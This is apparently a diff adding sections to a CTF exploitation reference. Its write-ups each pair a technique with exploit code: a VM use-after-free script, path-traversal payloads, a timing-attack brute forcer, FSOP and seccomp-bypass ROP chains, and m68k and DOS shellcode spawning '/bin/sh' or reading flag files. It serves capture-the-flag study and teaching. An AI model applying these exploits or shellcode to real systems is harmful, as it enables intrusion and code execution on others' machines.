WRITEBUF, PRINTB, PUSH, HALT = b'\x25', b'\x23', b'\x01', b'\xff'
|
|
366
|
+
|
|
367
|
+
code = b''
|
|
368
|
+
code += NEWBUF + uleb128(24) + GSTORE + uleb128(0) # buf A in slot 0
|
|
369
|
+
code += GLOAD + uleb128(0) + READ + uleb128(24) # fill to set length
|
|
370
|
+
code += GLOAD + uleb128(0) + SLICE + uleb128(0) + uleb128(24) # slice
|
|
371
|
+
code += DROP + GC # free slab via slice
|
|
372
|
+
code += BUILTIN + uleb128(0) + GSTORE + uleb128(1) # func F reuses slab
|
|
373
|
+
code += GLOAD + uleb128(0) + WRITEBUF + uleb128(16) + uleb128(0) # set len=16
|
|
374
|
+
code += GLOAD + uleb128(0) + PRINTB # leak code ptr
|
|
375
|
+
code += GLOAD + uleb128(0) + READ + uleb128(16) # overwrite code ptr
|
|
376
|
+
code += PUSH + b'\x00' + GLOAD + uleb128(1) + CALL + uleb128(1) # call win
|
|
377
|
+
code += HALT
|
|
378
|
+
|
|
379
|
+
blob = struct.pack('<I', len(code)) + code
|
|
380
|
+
p = remote('target', 9999)
|
|
381
|
+
p.send(blob + b'A'*24) # blob + dummy READ data
|
|
382
|
+
leak = p.recv(16, timeout=5)
|
|
383
|
+
code_ptr = struct.unpack('<Q', leak[:8])[0]
|
|
384
|
+
win_addr = (code_ptr - 0x31d0) + 0x3000 # PIE base + win offset
|
|
385
|
+
p.send(struct.pack('<Q', win_addr) + b'\x00'*8)
|
|
386
|
+
p.sendline(b'cat /flag*')
|
|
387
|
+
p.interactive()
|
|
388
|
+
```
|
|
389
|
+
|
|
390
|
+
**Key lessons:**
|
|
391
|
+
- **Slab allocator reuse:** Function objects and buffer data share the same slab size class → guaranteed UAF overlap
|
|
392
|
+
- **WRITEBUF length trick:** Setting length without writing data bypasses bounds checks but exposes UAF content
|
|
393
|
+
- **GC as trigger:** Explicit `GC` opcode forces immediate collection → deterministic UAF timing
|
|
394
|
+
- **General pattern:** In custom VMs, look for shared references (slices, views, aliases) where destruction of one frees resources still held by another
|
|
395
|
+
|
|
396
|
+
---
|
|
397
|
+
|
|
398
|
+
## Path Traversal Sanitizer Bypass
|
|
399
|
+
|
|
400
|
+
**Pattern (Galactic Archives):** Sanitizer skips character after finding banned char.
|
|
401
|
+
|
|
402
|
+
```python
|
|
403
|
+
# Sanitizer removes '.' and '/' but skips next char after match
|
|
404
|
+
# ../../etc/passwd -> bypass with doubled chars:
|
|
405
|
+
"....//....//etc//passwd"
|
|
406
|
+
# Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)
|
|
407
|
+
```
|
|
408
|
+
|
|
409
|
+
**Flag via `/proc/self/fd/N`:**
|
|
410
|
+
- If binary opens flag file but doesn't close fd, read via `/proc/self/fd/3`
|
|
411
|
+
- fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
|
|
412
|
+
|
|
413
|
+
## Timing Attack for Character-by-Character Flag Recovery (RC3 CTF 2016)
|
|
414
|
+
|
|
415
|
+
When a server validates input character-by-character with measurable per-character delay, use timing side-channels to brute-force the flag one byte at a time.
|
|
416
|
+
|
|
417
|
+
```python
|
|
418
|
+
import socket
|
|
419
|
+
import time
|
|
420
|
+
import string
|
|
421
|
+
|
|
422
|
+
def measure_time(host, port, guess):
|
|
423
|
+
"""Send guess and measure server response time"""
|
|
424
|
+
s = socket.socket()
|
|
425
|
+
s.connect((host, port))
|
|
426
|
+
s.recv(1024) # banner
|
|
427
|
+
|
|
428
|
+
start = time.time()
|
|
429
|
+
s.send(guess.encode() + b'\n')
|
|
430
|
+
s.recv(1024)
|
|
431
|
+
elapsed = time.time() - start
|
|
432
|
+
|
|
433
|
+
s.close()
|
|
434
|
+
return elapsed
|
|
435
|
+
|
|
436
|
+
flag = "RC3-2016-"
|
|
437
|
+
charset = string.ascii_letters + string.digits + "_-{}"
|
|
438
|
+
THRESHOLD = 0.15 # seconds per correct character (calibrate per target)
|
|
439
|
+
SAMPLES = 3 # average multiple measurements to reduce noise
|
|
440
|
+
|
|
441
|
+
while not flag.endswith('}'):
|
|
442
|
+
best_char = ''
|
|
443
|
+
best_time = 0
|
|
444
|
+
|
|
445
|
+
for c in charset:
|
|
446
|
+
guess = flag + c
|
|
447
|
+
# Average multiple samples to reduce network jitter
|
|
448
|
+
avg_time = sum(measure_time(host, port, guess) for _ in range(SAMPLES)) / SAMPLES
|
|
449
|
+
|
|
450
|
+
if avg_time > best_time:
|
|
451
|
+
best_time = avg_time
|
|
452
|
+
best_char = c
|
|
453
|
+
|
|
454
|
+
if best_time > len(flag) * THRESHOLD:
|
|
455
|
+
flag += best_char
|
|
456
|
+
print(f"Flag so far: {flag} (time: {best_time:.3f}s)")
|
|
457
|
+
else:
|
|
458
|
+
print("Timing unclear, retrying...")
|
|
459
|
+
|
|
460
|
+
print(f"Flag: {flag}")
|
|
461
|
+
```
|
|
462
|
+
|
|
463
|
+
**Key insight:** Each correct character adds a measurable delay (typically 100-250ms). Average multiple samples to overcome network jitter. The total response time scales linearly with the number of correct prefix characters, making the correct character at each position distinguishable.
|
|
464
|
+
|
|
465
|
+
---
|
|
466
|
+
|
|
467
|
+
## FSOP + Seccomp Bypass via openat/mmap/write (EHAX 2026)
|
|
468
|
+
|
|
469
|
+
**Pattern (The Revenge of Womp Womp):** Heap exploit (UAF) leading to FSOP chain, but seccomp blocks standard `open`/`read`/`write` or `execve`. Use alternative syscalls to read the flag.
|
|
470
|
+
|
|
471
|
+
**Exploit chain:**
|
|
472
|
+
1. **Leak libc** via `show()` on freed unsorted bin chunk (fd/bk pointers)
|
|
473
|
+
2. **UAF → unsafe unlink** to redirect pointer to `.bss` region
|
|
474
|
+
3. **Craft fake FILE** structure on heap with vtable pointing to `_IO_wfile_jumps`
|
|
475
|
+
4. **FSOP chain:** `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `_IO_WDOALLOCATE(fp)`
|
|
476
|
+
5. **Stack pivot** via `mov rsp, rdx` gadget (rdx controllable from FILE struct)
|
|
477
|
+
6. **ROP chain** using seccomp-compatible syscalls
|
|
478
|
+
|
|
479
|
+
**Seccomp bypass with openat/mmap/write:**
|
|
480
|
+
```python
|
|
481
|
+
# When seccomp blocks open() and read(), use:
|
|
482
|
+
# openat(AT_FDCWD, "/flag", O_RDONLY) - syscall 257
|
|
483
|
+
# mmap(NULL, 4096, PROT_READ, MAP_PRIVATE, fd, 0) - syscall 9
|
|
484
|
+
# write(STDOUT, mapped_addr, 4096) - syscall 1
|
|
485
|
+
|
|
486
|
+
from pwn import *
|
|
487
|
+
|
|
488
|
+
rop = ROP(libc)
|
|
489
|
+
# openat(AT_FDCWD=-100, "/flag", O_RDONLY=0)
|
|
490
|
+
rop.raw(pop_rdi)
|
|
491
|
+
rop.raw(-100 & 0xffffffffffffffff) # AT_FDCWD
|
|
492
|
+
rop.raw(pop_rsi)
|
|
493
|
+
rop.raw(flag_str_addr) # pointer to "/flag\x00"
|
|
494
|
+
rop.raw(pop_rdx_rbx)
|
|
495
|
+
rop.raw(0) # O_RDONLY
|
|
496
|
+
rop.raw(0)
|
|
497
|
+
rop.raw(libc.sym.openat)
|
|
498
|
+
|
|
499
|
+
# mmap(NULL, 4096, PROT_READ=1, MAP_PRIVATE=2, fd=3, 0)
|
|
500
|
+
rop.raw(pop_rdi)
|
|
501
|
+
rop.raw(0) # addr = NULL
|
|
502
|
+
rop.raw(pop_rsi)
|
|
503
|
+
rop.raw(0x1000) # length
|
|
504
|
+
rop.raw(pop_rdx_rbx)
|
|
505
|
+
rop.raw(1) # PROT_READ
|
|
506
|
+
rop.raw(0)
|
|
507
|
+
# r10 = MAP_PRIVATE (2), r8 = fd (3) - need gadgets for these
|
|
508
|
+
rop.raw(libc.sym.mmap)
|
|
509
|
+
|
|
510
|
+
# write(1, mapped_addr, 4096)
|
|
511
|
+
rop.raw(pop_rdi)
|
|
512
|
+
rop.raw(1) # stdout
|
|
513
|
+
rop.raw(pop_rsi)
|
|
514
|
+
rop.raw(mapped_addr) # mmap return value
|
|
515
|
+
rop.raw(pop_rdx_rbx)
|
|
516
|
+
rop.raw(0x1000)
|
|
517
|
+
rop.raw(0)
|
|
518
|
+
rop.raw(libc.sym.write)
|
|
519
|
+
```
|
|
520
|
+
|
|
521
|
+
**`mov rsp, rdx` stack pivot gadget:**
|
|
522
|
+
```python
|
|
523
|
+
# Common in libc — search with:
|
|
524
|
+
# ROPgadget --binary libc.so.6 | grep "mov rsp, rdx"
|
|
525
|
+
# or: one_gadget libc.so.6 (sometimes lists pivot gadgets)
|
|
526
|
+
|
|
527
|
+
# In FSOP context: rdx is controllable via _IO_wide_data fields
|
|
528
|
+
# Set _wide_data->_IO_buf_base to point to your ROP chain
|
|
529
|
+
# When _IO_WDOALLOCATE is called, rdx = _wide_data->_IO_buf_base
|
|
530
|
+
# Pivot: mov rsp, rdx → ROP chain runs
|
|
531
|
+
```
|
|
532
|
+
|
|
533
|
+
**Key insight:** "Stale size tracking" = the menu tracks object sizes but doesn't invalidate after free. This enables UAF because `show()`/`edit()` still use the old size to access freed memory. Always check if delete nullifies the size field in addition to the pointer.
|
|
534
|
+
|
|
535
|
+
**Seccomp alternative syscall quick reference:**
|
|
536
|
+
| Blocked | Alternative | Syscall # |
|
|
537
|
+
|---------|------------|-----------|
|
|
538
|
+
| `open` | `openat` | 257 |
|
|
539
|
+
| `open` | `openat2` | 437 |
|
|
540
|
+
| `read` | `mmap` + access | 9 |
|
|
541
|
+
| `read` | `pread64` | 17 |
|
|
542
|
+
| `read` | `readv` | 19 |
|
|
543
|
+
| `write` | `writev` | 20 |
|
|
544
|
+
| `write` | `sendfile` | 40 |
|
|
545
|
+
|
|
546
|
+
---
|
|
547
|
+
|
|
548
|
+
## Motorola 68000 (m68k) Two-Stage Shellcode (HackIT 2017)
|
|
549
|
+
|
|
550
|
+
**Pattern:** m68k Linux binary accepts only 14 bytes of shellcode. Two-stage approach: the first stage jumps back to the binary's own `read()` call with a larger buffer size and the existing mmap'd RWX pointer. The full second-stage shellcode performs socket reuse via `dup2` and `execve('/bin/sh')`. m68k syscall convention: number in `d0`, arguments in `d1`–`d3`, `trap #0`.
|
|
551
|
+
|
|
552
|
+
m68k Linux syscall numbers: `read=3`, `write=4`, `dup2=63`, `execve=11`.
|
|
553
|
+
|
|
554
|
+
```asm
|
|
555
|
+
; Stage 1 (14 bytes): patch d3=256 and jump to binary's read() call site
|
|
556
|
+
; Reuses binary's existing socket fd (d1) and mmap'd RWX region (d2)
|
|
557
|
+
move.l #256, %d3 ; count = 256 (4 bytes: 0x263C 0x0000 0x0100)
|
|
558
|
+
jmp read_call_site ; jump to binary's trap #0 (6 bytes: 0x4EF9 + 4-byte addr)
|
|
559
|
+
```
|
|
560
|
+
|
|
561
|
+
```asm
|
|
562
|
+
; Stage 2 (full shellcode read into RWX region by stage 1):
|
|
563
|
+
; dup2(sock_fd, 0/1/2) — sock_fd is already in d1 from stage 1
|
|
564
|
+
moveq #63, %d0 ; dup2
|
|
565
|
+
moveq #0, %d2 ; newfd = stdin
|
|
566
|
+
trap #0
|
|
567
|
+
moveq #63, %d0
|
|
568
|
+
moveq #1, %d2 ; newfd = stdout
|
|
569
|
+
trap #0
|
|
570
|
+
moveq #63, %d0
|
|
571
|
+
moveq #2, %d2 ; newfd = stderr
|
|
572
|
+
trap #0
|
|
573
|
+
|
|
574
|
+
; execve("/bin/sh", ["/bin/sh", NULL], NULL)
|
|
575
|
+
lea binsh(%pc), %a0 ; "/bin/sh\0"
|
|
576
|
+
move.l %a0, %d1
|
|
577
|
+
sub.l %d2, %d2 ; d2 = NULL (argv approximation for CTF)
|
|
578
|
+
sub.l %d3, %d3 ; d3 = NULL (envp)
|
|
579
|
+
moveq #11, %d0 ; execve
|
|
580
|
+
trap #0
|
|
581
|
+
binsh: .ascii "/bin/sh\0"
|
|
582
|
+
```
|
|
583
|
+
|
|
584
|
+
**Key insight:** When shellcode size is severely constrained, re-use the program's own `read()` function with the already-mmap'd RWX region as the destination buffer. m68k uses `trap #0` with d0–d3 registers, not the x86 `int 0x80`/`syscall` convention.
|
|
585
|
+
|
|
586
|
+
**References:** HackIT CTF 2017
|
|
587
|
+
|
|
588
|
+
---
|
|
589
|
+
|
|
590
|
+
## DOS COM Real Mode Shellcode (SEC-T CTF 2017)
|
|
591
|
+
|
|
592
|
+
**Pattern:** DOS COM executables run in 16-bit real mode with no memory protection — the code segment is writable at runtime. An arbitrary write primitive into the code segment at an EXIT handler location allows injecting payload code. Payloads use DOS `int 0x21` syscalls: `ah=0x3d` (open file), `ah=0x3f` (read file), `ah=0x09` (print string).
|
|
593
|
+
|
|
594
|
+
```asm
|
|
595
|
+
; DOS COM exploitation: code segment is writable
|
|
596
|
+
; INT 0x21 syscall convention: ah = function number
|
|
597
|
+
; Useful functions:
|
|
598
|
+
; ah=0x3d open file: ds:dx = filename, al = mode → ax = fd
|
|
599
|
+
; ah=0x3f read file: bx = fd, cx = count, ds:dx = buffer → ax = bytes read
|
|
600
|
+
; ah=0x09 print $-terminated string: ds:dx = string address
|
|
601
|
+
; ah=0x4c exit: al = exit code
|
|
602
|
+
|
|
603
|
+
; Example: read flag.txt and print it
|
|
604
|
+
mov dx, offset flag_name ; "flag.txt$"
|
|
605
|
+
mov ax, 0x3d00 ; open, read-only
|
|
606
|
+
int 0x21 ; ax = file handle
|
|
607
|
+
|
|
608
|
+
mov bx, ax ; fd = file handle
|
|
609
|
+
mov dx, offset buffer
|
|
610
|
+
mov cx, 0x100 ; read 256 bytes
|
|
611
|
+
mov ah, 0x3f
|
|
612
|
+
int 0x21 ; read into buffer
|
|
613
|
+
|
|
614
|
+
; Terminate buffer with '$' for int 0x21 ah=0x09
|
|
615
|
+
mov dx, offset buffer
|
|
616
|
+
mov ah, 0x09
|
|
617
|
+
int 0x21 ; print buffer
|
|
618
|
+
```
|
|
619
|
+
|
|
620
|
+
**Key insight:** DOS COM files have no read-only memory — the code segment is writable. DOS interrupts `int 0x21` with `ah=3d/3f/09` handle open/read/print. Any write primitive that reaches the code segment can inject executable shellcode, even at EXIT handler positions.
|
|
621
|
+
|
|
622
|
+
**References:** SEC-T CTF 2017
|
|
623
|
+
|
|
624
|
+
---
|
|
625
|
+
|
|
626
|
+
## Seccomp BPF X-Register Addressing Mode Bypass (HITCON 2017)
|
|
627
|
+
|
|
628
|
+
**Pattern:** A seccomp BPF filter uses the X-register addressing mode (opcode `0x1d`) to compare `syscall_number == rdx` (the third argument). However, `libseccomp-tools` (and older `seccomp-tools`) disassemblers do not support the X-register addressing mode, causing the filter to appear more restrictive than it actually is. Reality: if `rax` (syscall number) equals `rdx` (3rd argument) at the time of the syscall, the comparison passes and the syscall is allowed.
|
|
629
|
+
|
|
630
|
+
**How to detect:**
|
|
631
|
+
```bash
|
|
632
|
+
# Dump BPF bytecode manually and look for opcode 0x1d (JEQ X)
|
|
633
|
+
# seccomp-tools disassembly will show "???" or skip lines for 0x1d opcodes
|
|
634
|
+
# Raw bytecode: struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; }
|
|
635
|
+
# code=0x1d: BPF_JMP | BPF_JEQ | BPF_X → compare A == X (X-register)
|
|
636
|
+
python3 -c "
|
|
637
|
+
import struct
|
|
638
|
+
data = open('seccomp_filter.bin','rb').read()
|
|
639
|
+
for i in range(0, len(data), 8):
|
|
640
|
+
code, jt, jf, k = struct.unpack('<HBBI', data[i:i+8])
|
|
641
|
+
if code == 0x1d:
|
|
642
|
+
print(f'[{i//8}] JEQ X jt={jt} jf={jf} (X-reg compare!)')
|
|
643
|
+
"
|
|
644
|
+
```
|
|
645
|
+
|
|
646
|
+
**Exploitation:**
|
|
647
|
+
```python
|
|
648
|
+
# Filter effectively allows: syscall if rax == rdx
|
|
649
|
+
# Arrange rdx to equal the desired syscall number before the syscall instruction
|
|
650
|
+
# Example: execve = 59, so set rdx = 59 and rax = 59
|
|
651
|
+
# Both conditions match → filter permits the call
|
|
652
|
+
rop = flat(
|
|
653
|
+
pop_rdx_rbx, 59, 0, # rdx = 59 (execve)
|
|
654
|
+
pop_rax, 59, # rax = 59
|
|
655
|
+
pop_rdi, binsh_addr,
|
|
656
|
+
pop_rsi, 0,
|
|
657
|
+
syscall_ret,
|
|
658
|
+
)
|
|
659
|
+
```
|
|
660
|
+
|
|
661
|
+
**Key insight:** Security tools that cannot decode all BPF addressing modes give false confidence — always verify filter behavior by reading raw BPF bytecode or testing empirically. The X-register mode (`JEQ X`, opcode `0x1d`) is valid BPF but rarely generated by `libseccomp`, so tools miss it.
|
|
662
|
+
|
|
663
|
+
**References:** HITCON CTF 2017
|
|
664
|
+
|
|
665
|
+
---
|
|
666
|
+
|
|
667
|
+
## Custom Printf Format Specifier Arginfo Overwrite (Hack.lu 2017)
|
|
668
|
+
|
|
669
|
+
**Pattern:** glibc's `register_printf_specifier()` stores function pointers (including an `arginfo` callback) in a heap buffer. A heap overflow overwrites the `arginfo` callback for a custom format specifier. The first field of `printf_info` passed to the `arginfo` function is `precision` — an attacker-controlled integer from `%.Ns` (where N is the precision value). Encoding a shell command as its decimal ASCII value (e.g., `26739` = `'s','h','\0'` as little-endian bytes) causes the `arginfo` callback to receive `"sh"` as its string argument, achieving command execution.
|
|
670
|
+
|
|
671
|
+
**Mechanism:**
|
|
672
|
+
```c
|
|
673
|
+
// register_printf_specifier stores:
|
|
674
|
+
// handler_fn (called to produce output)
|
|
675
|
+
// arginfo_fn (called to determine argument type/size)
|
|
676
|
+
// Both are stored as pointers in a heap region
|
|
677
|
+
|
|
678
|
+
// When printf("%.26739s", ...) is called with custom specifier:
|
|
679
|
+
// printf_info.precision = 26739 (= 0x6873 = 'sh' in little-endian)
|
|
680
|
+
// arginfo_fn is called with &printf_info as first argument
|
|
681
|
+
// If arginfo_fn = system: system((char*)&printf_info) → system("sh\x00...")
|
|
682
|
+
// because the precision field at offset 0 contains the bytes 's','h','\0'
|
|
683
|
+
```
|
|
684
|
+
|
|
685
|
+
**Exploitation:**
|
|
686
|
+
```python
|
|
687
|
+
# Overflow heap to overwrite arginfo_fn pointer with system()
|
|
688
|
+
# Then trigger with precision encoding the command:
|
|
689
|
+
# "sh" = ord('s') + ord('h') * 256 = 0x68 * 256 + 0x73 = 26739
|
|
690
|
+
payload = b'%.26739s' # precision=26739, bytes: 0x73 0x68 0x00 = "sh\0"
|
|
691
|
+
# When custom specifier is used, arginfo(printf_info_ptr) → system("sh")
|
|
692
|
+
```
|
|
693
|
+
|
|
694
|
+
**Key insight:** Custom printf format handlers expose `precision` and `width` as attacker-controlled integers in `printf_info`. Encoding a shell command as the decimal precision value (e.g., `26739` = `"sh\0"`) causes the `arginfo` callback — if overwritten with `system()` — to execute the command. The `printf_info` struct's first field is the argument to `system()`.
|
|
695
|
+
|
|
696
|
+
**References:** Hack.lu CTF 2017
|
|
697
|
+
|
|
698
|
+
---
|
|
699
|
+
|
|
700
|
+
## Game Genie-Style 6-Char Code for Arbitrary Binary Patching (BSidesSF 2019)
|
|
701
|
+
|
|
702
|
+
**Pattern (Genius):** A loader embeds a target binary on the stack, prompts the user for two 6-character "Game Genie" codes, and patches two bytes per code. Each character comes from a 16-letter alphabet; bits are scattered across the six characters to encode a 16-bit offset and an 8-bit value. To exploit, reverse the bit layout to generate arbitrary `(offset, byte)` codes — here, flip `call memset` into `call system` and shift its first argument to land on an in-game `sh;` string, then play Tetris to materialise those bytes.
|
|
703
|
+
|
|
704
|
+
```python
|
|
705
|
+
# 16-letter alphabet maps each 4-bit nibble to a specific character
|
|
706
|
+
magic_dict = {
|
|
707
|
+
0b0000: 'A', 0b1000: 'E', 0b0100: 'G', 0b0101: 'I',
|
|
708
|
+
0b1100: 'K', 0b0011: 'L', 0b1111: 'N', 0b1001: 'O',
|
|
709
|
+
0b0001: 'P', 0b1101: 'S', 0b0110: 'T', 0b1011: 'U',
|
|
710
|
+
0b1110: 'V', 0b1010: 'X', 0b0111: 'Y', 0b0010: 'Z',
|
|
711
|
+
}
|
|
712
|
+
|
|
713
|
+
def gen_input(addr, val):
|
|
714
|
+
# Bits distributed across positions b1..b6; derived by reversing convert() in loader
|
|
715
|
+
b1 = (val & 0b111) | ((val & 0b10000000) >> 4)
|
|
716
|
+
b2 = ((val & 0b1110000) >> 4) | ((addr & 0b10000000) >> 4)
|
|
717
|
+
b3 = ((addr & 0b1110000) >> 4)
|
|
718
|
+
b4 = ((addr & 0b111000000000000) >> 12) | (addr & 0b1000)
|
|
719
|
+
b5 = ((addr & 0b100000000000) >> 8) | (addr & 0b111)
|
|
720
|
+
b6 = ((addr & 0b11100000000) >> 8) | (val & 0b1000)
|
|
721
|
+
return ''.join(magic_dict[b] for b in (b1, b2, b3, b4, b5, b6))
|
|
722
|
+
|
|
723
|
+
# Example: patch memset->system (0xcb -> 0x8b) and shift push-arg to reach in-game buf
|
|
724
|
+
code1 = gen_input(0x154c, 0xab) # shift 1st-arg push so call lands on "sh;"
|
|
725
|
+
code2 = gen_input(0x1551, 0x8b) # E8 XX XX XX XX of memset -> system (same IAT reloc)
|
|
726
|
+
```
|
|
727
|
+
|
|
728
|
+
**Key insight:** "Fun" encoding schemes (Game Genie, ROM hack tools, license-key formats) are just bit-permutation ciphers with a tiny alphabet. Derive the permutation once by reversing the checker (what bits of each character control what bits of the output), then treat the scheme as a regular arbitrary-write primitive. Pair with any gadget that picks a target (a `call` site, a GOT entry, a config byte) plus a way to materialise operand data on the stack (game state, input buffer) to land code execution.
|
|
729
|
+
|
|
730
|
+
**References:** BSidesSF 2019 — genius, writeup 13709
|
|
731
|
+
|
|
732
|
+
---
|
|
733
|
+
|
|
734
|
+
## Go Slice Capacity Aliasing via Struct-by-Value Copy (CONFidence Teaser 2019)
|
|
735
|
+
|
|
736
|
+
**Pattern (The Lottery):** Go REST service copies an `Account` struct (with a `[]int` field) by value into a lottery subsystem, then `append`s a random winning number to the *copied* slice. Slice headers are `(ptr, len, cap)`; copying a struct copies these 24 bytes but the backing array is shared. If `cap > len`, `append` writes in-place without reallocation — the write lands in the original account's backing array too. Control capacity by filling exactly `MaxLen - 1` elements so Go picks `cap=4`, call `LotteryAdd` (which copies), then `append` one more post-copy to bump `len` to 4. The lottery's `append` now writes slot 3 of the *shared* array, making the caller a millionaire.
|
|
737
|
+
|
|
738
|
+
```go
|
|
739
|
+
// Go slice header:
|
|
740
|
+
// type slice struct { ptr unsafe.Pointer; len int; cap int }
|
|
741
|
+
// Append grows the backing array only if len == cap.
|
|
742
|
+
|
|
743
|
+
func HackLottery() {
|
|
744
|
+
s := NewService(ctx, time.Millisecond, time.Minute)
|
|
745
|
+
a, _ := s.AccountAdd()
|
|
746
|
+
|
|
747
|
+
// len=1, cap=1 -> len=2, cap=2 -> len=3, cap=4 (Go's growth heuristic)
|
|
748
|
+
s.AccountAddAmount(a.Name, 90)
|
|
749
|
+
s.AccountAddAmount(a.Name, 90)
|
|
750
|
+
s.AccountAddAmount(a.Name, 90) // Amounts = [90,90,90], cap=4
|
|
751
|
+
|
|
752
|
+
s.LotteryAdd(a.Name) // Struct copy; slice header cloned
|
|
753
|
+
s.AccountAddAmount(a.Name, 90) // extend original: len=4, cap=4 (no realloc)
|
|
754
|
+
|
|
755
|
+
// Lottery's append sees cap=4 on its copy too -> in-place write to shared array:
|
|
756
|
+
s.lottery.evaluate() // Amounts[3] = randInt(999913, 3700000)
|
|
757
|
+
|
|
758
|
+
a, _, _ = s.AccountGet(a.Name)
|
|
759
|
+
fmt.Println(a.Amounts) // [90 90 90 1723342] -> millionaire
|
|
760
|
+
}
|
|
761
|
+
```
|
|
762
|
+
|
|
763
|
+
**Key insight:** Passing a Go struct by value does *not* deep-copy its slice fields; the header is copied but the backing array is shared. Whenever `append` is invoked on either copy, it reallocates only when `len == cap`. Engineer the pre-copy state so `cap > len`, and the callee's `append` silently mutates caller-visible memory — a data race-free way to break "immutability by copy" in audit. The same trick applies to maps (always shared by reference) and to interface-wrapped slices.
|
|
764
|
+
|
|
765
|
+
**References:** CONFidence CTF 2019 Teaser — The Lottery, writeup 13961
|
|
766
|
+
|
|
767
|
+
---
|
|
768
|
+
|
|
769
|
+
See [advanced-exploits-2.md](advanced-exploits-2.md) for bytecode validator bypass, io_uring UAF with SQE injection, integer truncation bypass, GC null-reference cascading corruption, leakless libc via multi-fgets, signed/unsigned char underflow with TLS destructor hijack, custom shadow stack bypass, and signed int overflow with XSS-to-binary pwn bridge.
|
|
770
|
+
|
|
771
|
+
See [advanced-exploits-3.md](advanced-exploits-3.md) for stack variable overlap, 1-byte overflow via 8-bit loop counter, game AI arithmetic mean OOB read, arbitrary read/write GOT overwrite, stack leak via __environ + memcpy overflow, JIT sandbox uint16 jump truncation, DNS compression pointer overflow, and ELF signing bypass via program header manipulation.
|
|
772
|
+
|
|
773
|
+
See [advanced-exploits-5.md](advanced-exploits-5.md) for data-interpretation exploitation (Chip-8 emulator OOB ret2libc, double-precision float quicksort canary repositioning, bloom filter abs(INT_MIN) negative index OOB).
|